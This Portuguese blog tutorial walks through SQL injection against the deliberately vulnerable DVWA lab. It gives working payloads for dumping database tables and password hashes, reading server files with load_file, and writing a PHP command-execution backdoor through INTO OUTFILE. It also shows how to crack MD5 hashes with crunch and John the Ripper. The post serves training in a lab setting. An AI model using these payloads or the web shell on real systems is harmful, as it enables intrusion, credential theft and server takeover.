Olá!
Bem-vindo à primeira postagem sobre o assunto como atacar servidor web. Nessa postagem estarei explanando o ataque de injeção de códigos chamado SQL Injection. Farei uma introdução falando como funciona o ataque, sua forma de raciocínio e destreza.
Estarei também expondo testes utilizando o servidor web vulnerável DVWA. Fiz um passo-a-passo para que possa explorar vulnerabilidades e treinar esse método de ataque no seu computador de maneira legal, sem correr riscos de processos jurídicos. Essa prática foi baseada e requer que você tenha acompanhado a postagem anterior. Mas, pode sim, ser utilizados essas técnicas em outros sites como o http://testphp.vulnweb.com/ .
Link para o passo-a-passo de montagem do servidor web: https://douglasmendes.code.blog/2020/12/22/como-montar-um-servidor-web-para-treinar-invasao-pentesting/
Partiremos para introdução.
INTRODUÇÃO
SQL Injection, ou ataque de injeção SQL é uma técnica de inserção de código utilizada para atacar aplicativos baseados em banco de dados, em que instruções SQL maliciosas são inseridas em um campo de entrada para execução afim explorar uma vulnerabilidade de segurança no software de um aplicativo. Mesmo sendo mais conhecida como um vetor de ataque para sites, a técnica pode ser usada para atacar qualquer tipo de banco de dados SQL.
Quando uma máquina tem apenas a porta 80 aberta, os scanners de vulnerabilidade mais confiáveis não podem retornar nada de útil. Sabendo que o(s) administrador(es) procuram estar corrigindo os servidores constantemente, para acessar um banco de dados é necessário recorrer ao SQL Injection, que não requer nada além da porta 80 e pode funcionar mesmo se o(s) administrador(es) tiver(em) com as atualizações em dia.
O ataque de injeção SQL é um ataque indireto. Ataca a própria aplicação web, ou seja, ASP.NET, JavaServer Pages (JSP), PHP, Common Gateway Interface (CGI), etc., e não o servidor web ou os serviços executados no sistema operacional diretamente.
Muitas páginas da web fazem consultas SQL ao banco de dados. Um exemplo é quando um usuário faz login. Preenchendo os dados e clicando no botão é executado uma consulta SQL ao banco de dados para verificar se um usuário tem nome e senha válidos. Com o SQL Injection é possível enviarmos um comando no campo de preenchimento que irá alterar a consulta SQL e, assim, nos conceder outra coisa.
Uma exploração de injeção SQL bem-sucedida pode ler dados confidenciais do banco de dados, modificar os dados do banco de dados (inserir/atualizar/excluir), executar operações de administração no banco de dados, como desligar o Sistema de Gerenciamento de Banco de Dados (SGBD, ou DBMS), recuperar o conteúdo de um determinado arquivo presente no sistema de arquivo SGBD, em alguns casos, emitir comandos para o sistema operacional.
Na listagem dos 10 maiores riscos de segurança em aplicações web, o ataque de injeção está em primeiro lugar. Para conhecer a listagem atualizada, entre no endereço eletrônico:
https://owasp.org/www-project-top-ten/
Resumindo, SQL Injection se trata de um truque de injetar consulta ou comando SQL possivelmente por meio de páginas da web.
LABORATÓRIO – INJEÇÃO SQL BASEADA EM ERRO (MÉTODO GET)
Primeiramente, o princípio básico de funcionamento de uma injeção SQL consiste em:
- Finalizar a consulta SQL normalmente com aspas simples para que a consulta do atacante seja inserida
- Inserir uma consulta SQL maliciosa. Por exemplo utilizar uma consulta que solicita o login e a senha de uma tabela. Algo semelhante a:
UNION ALL SELECT login,senha FROM usuarios # - Inserir comentários (# ou –) no final da consulta, para que qualquer instrução SQL após a consulta do atacante seja ignorada. A injeção SQL final ficará da seguinte forma:
‘ UNION ALL SELECT login,senha FROM usuarios #
ou
(Se atente que no final do — tem que pressionar espaço)
‘ UNION ALL SELECT login,senha FROM usuários — _
Vamos dar início. Inicie o servidor web para treinar invasões DVWA exposto na postagem anterior. Na sequência, faça o login digitando usuário root e a senha que você definiu na instalação.
IMAGEM: Do Autor
Depois digite o comando mysql –u root –p digitando na sequência a senha do MySQL que você definiu na instalação para poder acessar o banco de dados.
IMAGEM: Do Autor
Agora digitaremos o comando para verificar as bases de dados existentes para verificarmos em qual iremos inserir dados. Utilize o comando SHOW DATABASES; no MySQL.
IMAGEM: Do Autor
Com esse comando sabemos que existem 5 bases de dados criadas. Escolha agora a tabela dvwa digitando o comando USE dvwa; para que possamos verificar suas tabelas.
IMAGEM: Do Autor
Agora para que possamos enxergar as tabelas que estão nessa base de dados digite o comando SHOW TABLES; .
IMAGEM: Do Autor
Já que temos uma tabela chamada users, verifique o conteúdo dessa tabela digitando o comando SELECT * FROM users; que seria a mesma coisa que dizer para o MySQL “selecione TUDO da tabela users;”.
IMAGEM: Do Autor
Esses dados servirão para conferirmos o que veremos a seguir.
Agora digite o comando EXIT; para sair do MySQL. Na sequência digite o comando hostname –I para verificarmos o endereço IPv4 do servidor.
IMAGEM: Do Autor
Com esse endereço IPv4 podemos acessar agora a máquina pelo navegador web. Digite no navegador o IP encontrado no seu servidor seguido de /dvwa para fazermos o login na máquina de testes. Relembrando, o acesso da máquina é:
- Username: admin
- Password: password
IMAGEM: Do Autor
Agora ao seu lado esquerdo, clique em SQL Injection.
IMAGEM: Do Autor
IMAGEM: Do Autor
Clique no botão View Source, e na caixa de diálogo que abrir clique no botão Compare All Levels. Desça com a barra de rolagem até o final.
IMAGEM: Do Autor
IMAGEM: Do Autor
Como o servidor web foi montado com baixo grau de segurança, pedi para que descesse até Low SQL Injection Source, onde conseguimos enxergar o código-fonte dessa página de acordo com a configuração escolhida.
Na linha que destaco na imagem vemos que a variável $query (que na linguagem SQL significa “solicitação”) é composta do comando “SELECIONE o primeiro nome, último nome DA tabela users ONDE user_id = variável $id;” isso traduzindo. Significa que, o número de ID que preenchermos no campo User ID servirá para requisição de dados da tabela users.
Digite o número 1 e clique em submit.
IMAGEM: Do Autor
Agora compare os dados com a pesquisa que fizemos dentro da máquina servidora. São iguais os dados da coluna first_name e last_name. Com isso já reconhecemos quais dados conseguimos puxar por padrão. Tente agora com o número de ID 6. Apareceu algo? Todos os números que digitar que não tiverem cadastrados na tabela users retorna resultado vazio.
Agora, sem digitar o número na caixa, iremos fazer a mesma solicitação pela URL. No endereço da página provavelmente está escrito (…)sqli/?id=6&Submit=Submit# significando que a variável id recebeu o valor 6. Altere para 3 e digite Enter.
IMAGEM: Do Autor
Importante para nós reconhecermos pela URL como “dizer” para que “algo” aconteça. Supondo que não conhecemos os dados da tabela users, mas gostaríamos de descobrir o que poderia estar nela, sem reconhecimento de código-fonte, um caminho seria simplesmente “chutar” dados. Mas a pesquisa se tornaria exaustiva demais. E quem garantiria que o campo User ID seria realmente preenchido apenas por números? Nessa aplicação se for inserido letras, palavras, não temos nenhuma mensagem que induza ao entendimento que deve ser preenchido apenas por números.
PRIMEIRO MÉTODO – ‘ OR 1=’1
Existe uma maneira muito simples de enganar a pesquisa solicitando que, se por acaso o número (ou o valor que digitar) estiver errado, faça a pesquisa com a condição OU (OR), criando caminho para fornecer TODOS os dados das colunas especificadas. Digite no campo User ID a sintaxe ‘or 1=’1 e veja o resultado.
IMAGEM: Do Autor
Devido a uma falha gerada na instrução SQL conseguimos obter os dados das colunas first_name e last_name por inteiro. Se você digitar na URL (sem apagar &Submit=Submit#) depois de ?id= duas aspas simples (‘’) simboliza que você está digitando um valor vazio. Porém se você digitar 1 aspa simple (‘) aparece uma mensagem de erro. Dentro dessa vulnerabilidade que trabalharemos.
NOTA: Aspas simples (‘ ) é igual a %27 no navegador. Da mesma forma que %23 no navegador equivale a hashtag (#) e %20 a espaço.
IMAGEM: Do Autor
SEGUNDO MÉTODO – UNION ALL / ORDER BY
Sabendo que a consulta SQL apresenta erro com aspas simples, construiremos um payload (carga útil), que seria uma mensagem utilizando argumentação contendo um operador.
Exploraremos a máquina servidora descobrindo quantas colunas formam a tabela atual utilizando o operador SQL UNION ALL. Caso o número de colunas do payload do atacante não seja igual o número de colunas da tabela atual, a mensagem “The used SELECT statements have a diferente number of columns” será exibida. O desafio consiste em determinar exatamente o número de colunas da tabela atual.
Na URL, digite após (…)id= a continuação ‘UNION ALL SELECT 1 %23&Submit=Submit e veja o que acontece.
IMAGEM: Do Autor
Agora, reconstrua a URL dessa maneira: (…)id=‘UNION ALL SELECT 1,2 %23&Submit=Submit
IMAGEM: Do Autor
Agora sabemos que temos duas colunas na tabela atual. Atente que os valores são inseridos nos campos First name: e Surname:. Com essas informações em mãos sabemos que qualquer consulta maliciosa deve ser realizada na primeira e segunda posição.
Conseguimos, por exemplo, saber qual é a base de dados utilizada digitando, no lugar de qualquer um dos números, database(). Assim será mostrado o nome da base de dados em um dos campos, de acordo com a numeração que escolheu.
IMAGEM: Do Autor
Saber identificar em qual posição inserir a consulta maliciosa é fundamental para o sucesso de uma injeção SQL. Portanto, ao realizar uma consulta com UNION ALL SELECT identifique cada posição com valores distintos, a fim de que a aplicação retorne quais são as posições exatas para o payload.
OBSERVAÇÃO: Quando os valores 1,2 são inseridos para determinar a quantidade de tabelas usadas, qualquer valor pode ser utilizado, desde que UNION ALL SELECT seja formado pelo número exato de tabelas. Experimente utilizar 1,1 assim como o exemplo abaixo:
IMAGEM: Do Autor
Outra forma de determinar a quantidade de colunas de uma tabela é ordenando os valores com ORDER BY. Vá ordenando os valores de forma crescente (sem utilizar vírgulas como anteriormente, apenas um valor) e quando aparecer uma mensagem de erro significa que a consulta SQL extrapolou a quantidade de colunas existentes. Sendo assim, a consulta anterior indica a exata quantidade de colunas da tabela atual. Exemplos:
(…)id=’ORDER BY 1 %23&Submit=Submit
IMAGEM: Do Autor
(…)id=’ORDER BY 2 %23&Submit=Submit
IMAGEM: Do Autor
(…)id=’ORDER BY 3 %23&Submit=Submit
IMAGEM: Do Autor
Anteriormente verificamos que a base de dados atual se chama dvwa. A próxima etapa consiste em obter os nomes de todas as tabelas da base de dados atual. Sintaxe:
(…)id=’UNION ALL SELECT table_name,2 FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=”dvwa” %23 &Submit=Submit
OBSERVAÇÃO: INFORMATION_SCHEMA.TABLES e table_schema é padrão. FROM aponta de onde, WHERE aponta de que lugar.
IMAGEM: Do Autor
NOTA: Caso queira organizar melhor os dados, em vez de table_name utilize o operador group_concat(table_name).
IMAGEM: Do Autor
Encontramos uma tabela com nome users. Uma tabela com esse nome sempre chama atenção. Normalmente contém colunas com logins de acesso. O próximo passo consiste em determinar os nomes das colunas da tabela users.
(…)?id=’UNION ALL SELECT column_name,2 FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema=”dvwa” AND table_name=”users” %23(…)
IMAGEM: Do Autor
Olha que interessante. Com esse payload descobrimos que a tabela users possui 8 colunas. E entre essas 8 colunas temos uma coluna chamada user e outra chamada password.
NOTA: Caso queira organizar melhor os dados, em vez de column_name utilize o operador group_concat(column_name).
IMAGEM: Do Autor
Sabendo os nomes das colunas, basta realizar uma consulta SQL para obter os valores delas. Caso a senha não tenha sido criptografada, será apresentada em claro para o atacante:
(…)?id=’UNION ALL SELECT user,password FROM dvwa.users %23(…)
IMAGEM: Do Autor
Muitos sistemas armazenam o hash da senha ao invés da senha em claro. A maioria das senhas armazenadas em MD5 pode ser quebrada em sites de cracking on-line ou combinando-se listas de palavras e programas de quebra de hashing, como o John the ripper.
Não há diferença alguma em ataques de injeção SQL contra tabelas que armazenam senhas em claro e de tabelas que armazenam hash da senha.
QUEBRA DE SENHA – FERRAMENTAS
Como estamos apenas em um laboratório, as ferramentas para quebra de senhas serão instaladas e utilizadas na máquina servidora web mesmo. Mas, supondo que estivesse querendo capturar e quebrar senhas de um servidor externo, utilizaria essas ferramentas no seu sistema operacional hacker.
Iremos trabalhar agora com uma ferramenta para identificação de algoritmo hash (hash-identifier), uma ferramenta para quebrar algoritmos hash (John the ripper) e uma ferramenta para criar senhas aleatórias (crunch). Essas ferramentas devem ser instaladas na máquina servidora por meio do repositório do Kali Linux. Os comandos que devem ser aplicados são:
- ~# add-apt-repository “deb http://http.kali.org/kali kali-last-snapshot main contrib non-free”
- ~# wget -q -O – https://www.kali.org/archive-key.asc | gpg –import
IMAGEM: Do Autor
~# apt-key adv –keyserver hkp://keys.gnupg.net –recv-keys 7D8D0BF6
IMAGEM: Do Autor
~# apt-get update
IMAGEM: Do Autor
~# apt-get –y install hash-identifier
IMAGEM: Do Autor
~# apt-get –y install john-data john-dbgsym
IMAGEM: Do Autor
~# apt-get –y install crunch
(Se abrir caixa de diálogo esperando resposta de Yes ou No, pode aceitar)
IMAGEM: Do Autor
- ~# reboot now
- Efetuar login novamente como usuário root
Agora, divida a tela do monitor em duas, deixando de um lado a máquina servidora e do outro lado o navegador web com a tela anterior aberta para que possamos enxergar os algoritmos hash.
IMAGEM: Do Autor
Vamos trabalhar com o último algoritmo hash, que corresponde a senha de login do usuário smithy. Na máquina servidora, digite echo 5f4dcc3b5aa765d61d8327deb882cf99 | hash-identifier para verificar que tipo de algoritmo hash iremos lidar. Quando terminar o procedimento, pressione as teclas shift + Page Up para subir até o início do hash-identifier.
IMAGEM: Do Autor
Como vimos, se trata de um algoritmo hash MD5. Antes de usar o John the ripper, será necessário salvar o hash da senha em um arquivo de texto:
echo 5f4dcc3b5aa765d61d8327deb882cf99 > /root/MD5.txt
IMAGEM: Do Autor
SOBRE O CRUNCH
Crunch é um gerador de lista de palavras onde você pode especificar um conjunto de caracteres padrão ou um conjunto de caracteres que você especificar. Com essa lista de palavras, conseguimos confrontar o hash capturado com uma possibilidade enorme de palavras afim de tentarmos obter a senha de conexão correta. O nome correto para essa técnica é Ataque Dicionário, onde a estação de trabalho começa a fazer uma busca enorme em palavras que podem ser a chave correta da conexão.
O Crunch pode criar uma lista de palavras com base nos critérios que você especificar. A saída do programa pode ser enviada para tela, arquivo ou para outro programa. Para utilizar, deve-se digitar o comando:
crunch {MÍNIMO DE CARACTERES} {MÁXIMO DE CARACTERES} [Opções]
Onde, mínimo e máximo são números…
Uma forma mais prática para utilizar o Crunch sem precisar definir os caracteres é utilizando um arquivo pré-instalado na ferramenta chamado charset.lst, que se encontra no diretório /usr/share/crunch. Esse arquivo possui uma grande quantidade de padrões pré-definidos, e você pode escolher quais tipos de padrões deseja usando essa lista de sub-opções:
- lalpha: apenas letras minúsculas;
- ualpha: apenas letras maiúsculas;
- lalpha-numeric: letras minúsculas e números;
- ualpha-numeric: letras maiúsculas e números;
- lalpha-numeric-all-space: letras minúsculas, números e caracteres especiais como ?, ;, :, espaço, etc.;
- ualpha-numeric-all-space: letras maiúsculas, números e caracteres especiais como ?, ;, :, espaço, etc.;
- mixalpha: letras minúsculas e maiúsculas;
- mixalpha-numeric-all-space: letras maiúsculas, minúsculas, números, caracteres especiais e espaço.
Para utilizar o charset.lst é necessário após a definição do máximo de caracteres a ser utilizado, inserir a opção –f. Vou pegar o exemplo utilizado anteriormente, e o modificar para uso:
crunch 8 13 –f /usr/share/crunch/charset.lst lalpha
Decidi criar uma lista com no mínimo 8 caracteres, e no máximo 13 caracteres, contendo apenas os algarismos minúsculos do alfabeto. Utilizando a tecla pipe, consigo integrar os resultados (output results) ao John the ripper.
Existem instruções e exemplos sobre como usar o Crunch na página do manual. Consulte, digitando o comando man crunch. Esse comando man é padrão no Linux.
SOBRE O JOHN THE RIPPER
O John the ripper pode operar de uma destas formas:
- Single crack – O John the ripper tentará quebrar as senhas usando nome, derivações do nome, diretório home do usuário, etc. Fornecido com a opção -single.
- Wordlist – Uma lista de palavras é fornecida ao John the ripper para efetuar a quebra de senhas. Fornecido com a opção -wordlist.
- Incremental mode – O John the ripper tentará todas as combinações possíveis de usuários e senha, método conhecido como Brute Force (Força Bruta). É a condição 100% certeira, porém, dependendo da complexidade da senha, a sua quebra levará muito tempo, sendo totalmente inviável. Fornecido com a opção -incremental.
Observações:
- Caso não forneça nenhuma opção ao John the ripper, será utilizada a opção padrão, ou seja, primeiro será realizada a tentativa da quebra pelo modo single, depois será usada a lista de palavras wordlist) padrão do John the ripper localizada em /usr/share/john/password.lst e por último o modo incremental.
- O John the ripper tentará identificar automaticamente qual o tipo de hash usado na senha. Caso seja necessária especificação manual, utilize a opção -format=raw. Exemplo: -format=raw-md5.
- Em qualquer modo, ctrl+c pode ser usado para interromper o processo de quebra. Para retornar ao processo de quebra anteriormente interrompido: john -restore.
- Com o intuito de exibir as senhas após finalizado o processo de quebra: john {ARQUIVO_COM_O_HASH_DAS_SENHAS} –show
- O John the ripper armazena o progresso da quebra de senhas no arquivo /root/.john/john.pot. Caso a senha seja decifrada e se realize novamente o processo de quebra de senhas, o John the ripper não fará a quebra. Apague esse arquivo para realizar múltiplos testes para a mesma senha.
- O John the ripper armazena o progresso da quebra de senhas no arquivo /root/.john/john.rec. Caso o processo de quebra de senhas seja interrompido (ctrl+c) e esse arquivo apagado, futuras restaurações não serão possíveis (a quebra de senhas vai começar do zero).
QUEBRA DE SENHAS – PROCESSO
Para quebrar senhas em MD5, o John the ripper deverá ser informado com o arquivo contendo os hashes das senhas (/root/MD5.txt), a lista de palavras (crunch) e a cifra a ser utilizada para quebrar as senhas (–format=raw-md5).
O comando ficará assim:
~# crunch 8 13 –f /usr/share/crunch/charset.lst lalpha | john /root/MD5.txt -wordlist= – -format=raw-md5
IMAGEM: Do Autor
Agora, para verificar a senha descoberta, digite o comando cat /root/.john/john.pot.
IMAGEM: Do Autor
Por sinal, a senha do usuário smithy é igual a senha do usuário admin. Volte agora no navegador, efetue logout do DVWA e na tela de login digite:
- Username: smithy
- Password: password
IMAGEM: Do Autor
Considere agora que sua primeira descoberta de senhas foi um SUCESSO! Tente com os outros hashes.
BACKDOOR
Injeções SQL também permitem que arquivos sejam lidos e escritos, sendo possível instalar backdoors no sistema. Indo além, caso o sistema apresente alguma vulnerabilidade conhecida, o escalonamento de privilégios será realizado, concedendo ao atacante controle total do servidor.
O primeiro passo para um atacante obter uma shell consiste em determinar um diretório com permissão da escrita para o usuário outros. Diretórios dessa natureza são comuns em sistemas que permitem upload de arquivos. Suponha um sistema que permita o upload de arquivos no diretório /var/www/html/fotos. Para o sucesso de nosso ataque, crie o diretório com sua correta permissão na máquina servidora. Comandos:
- ~# mkdir /var/www/html/fotos
- ~# chmod o+w /var/www/html/fotos
IMAGEM: Do Autor
Importante ter em mente que, para conseguir uma shell via injeção SQL, o servidor web deverá ter um diretório que permita a gravação de arquivos, independentemente de ele apresentar ou não falhas de file upload. Contudo, diretórios com permissão de gravação são muito comuns em cenários em que seja possível realizar upload de arquivos e, assim, será mais fácil obter um shell reverso nessas condições.
O atacante deve conhecer o caminho completo do diretório com permissão de gravação. Uma maneira, caso esteja disponível no servidor, é por meio da variável DOCUMENT_ROOT do arquivo phpinfo.php. Outra forma é consultando o arquivo /etc/apache2/sites-available/000-default.conf .
Voltaremos nesse momento acertar algumas configurações na máquina servidora imprescindíveis para darmos continuidade. Digite o comando nano /etc/mysql/mysql.conf.d/mysqld.cnf para adicionarmos um parâmetro.
IMAGEM: Do Autor
Com a tela do editor de texto nano aberta vá direto para a última linha. Digite secure_file_priv=”” e pressione a tecla Enter.
IMAGEM: Do Autor
Saia do editor salvando o arquivo. Para isso digite ctrl+x seguido da tecla Y depoisda tecla Enter.
Agora, execute o comando nano /etc/apparmor.d/usr.sbin.mysqld e pressione Enter no final da penúltima linha. Escreva essas exceções:
- /var/www/html/* rwx
- /etc/apache2/* rwx
IMAGEM: Do Autor
Reinicie o servidor executando o comando reboot now. E refaça o login como usuário root.
Agora vamos ao navegador web. Carregue o arquivo 000-default.conf por meio da função load_file() do MySQL:
(…)?id=’UNION ALL SELECT load_file(“/etc/apache2/sites-available/000-default.conf”),2 %23(…)
IMAGEM: Do Autor
Por esse comando conseguimos enxergar a variável DOCUMENT_ROOT com seu resultado. Mas vamos acessar o arquivo phpinfo.php digitando esse endereço na URL: {ENDEREÇO_IP}/dvwa/phpinfo.php e procurar a variável DOCUMENT_ROOT.
IMAGEM: Do Autor
O caminho completo para o diretório fotos/ é /var/www/html/fotos/. Com essa informação em mãos, injetaremos a backdoor no diretório dessa maneira:
(…)?id=’UNION ALL SELECT “<pre><?php system($_GET[‘cmd’]) ?>” INTO OUTFILE “/var/www/html/fotos/backdoor.php”,2 %23&Submit=Submit
Após pressionar a tecla Enter no navegador web, não vai aparecer nada na tela, porém se você digitar na URL {ENDEREÇO_IP}/fotos você consegue ver o arquivo criado.
IMAGEM: Do Autor
A backdoor recém injetada é acessada no navegador web, aceitando comandos do sistema via método GET. Por exemplo, para exibir o conteúdo do arquivo /etc/passwd digite na URL http://{ENDEREÇO_IP}/fotos/backdoor.php?cmd=cat /etc/passwd
IMAGEM: Do Autor
Ou então, para verificarmos os diretórios dentro de /var/www/html digite na URL http://{ENDEREÇO_IP}/fotos/backdoor.php?cmd=ls –l /var/www/html
IMAGEM: Do Autor
Então é isso! Desde já, peço para que comente e deixe seu like para fortalecimente do Blog!
Nessa postagem, tratamos de um pequeno esboço dessa técnica de ampla atuação. Hoje falamos sobre o que se trata, sobre a aplicação dentro do servidor web vulnerável DVWA, como trabalhar em cima do método HTTP GET utilizando as brechas nos comandos do SQL, e também como utilizar ferramentas de quebra de senhas, tanto aplicando ataque dicionário com a ferramenta Crunch quanto decifrar a senha com hashes utilizando a ferramenta Jack the ripper. Também foi tratado como criar e explorar comandos shell com uma backdoor pelo navegador.
Na próxima postagem voltarei a tratar do SQL Injection utilizando ferramentas como o Burp Suite!
Até logo!
Douglas Mendes 